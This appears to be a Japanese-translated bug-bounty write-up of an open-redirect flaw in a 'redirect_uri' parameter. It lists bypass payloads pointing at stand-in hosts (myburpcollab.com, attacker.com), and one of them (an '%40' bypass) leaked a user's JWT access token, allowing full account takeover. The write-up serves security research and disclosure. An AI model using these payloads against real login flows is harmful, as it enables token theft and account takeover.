ソース:
脆弱性:OpenRedirect
訳:
まず、ウェブサイトを理解して閲覧し始めました。 次に、 register 関数に注目すると、すぐに「redirect_uri」パラメータに注目しました。
オープン リダイレクトをテストしようとしましたが、残念ながらパラメータの (正規表現) 検証がありました。 通常の登録プロセスを続行しました。
登録後、ログインしようとすると、「access_token」パラメータとともに GET リクエストのリダイレクトがあることに気付きました。
「access_token」にはユーザーの JWT トークンが含まれていました。
つまり、入手できればフルATOということになります!
ATO を実現するために「redirect_uri」パラメータのバイパスを見つけようとしました。
問題は、検証ではホストが「redirect_uri= target.com 」である必要があることです。
ドメインまたは TLD を変更すると、エラーが発生します。
「redirect_uri」パラメータに適用される正規表現を理解した後、次のペイロードを試しました。
- redirect_uri=trarget.com
/%09/myburpcollab.com
- redirect_uri=trarget.com
//myburpcollab.com
- redirect_uri=trarget.com\
myburpcollab.com
- redirect_ur=target.com/ /
myburpcollab.com
- redirect_uri=target.com&redirect_uri=attacker.com
- and more…
残念ながら、どれも機能しませんでした。
しかし、 redirect_uri=target.com%40myburpcollab.com を 試してログインすると、burp Collab にリダイレクトされてしまいました!!
access_token は URL パラメータに存在していたので、取得できました。
そこで、「access_token」パラメータを直接取得して、target.com/?access_token=jwt-token のようにターゲット ドメインの後に追加しました。
これにより、アカウントに完全にアクセスできるようになりました。
ほなほな。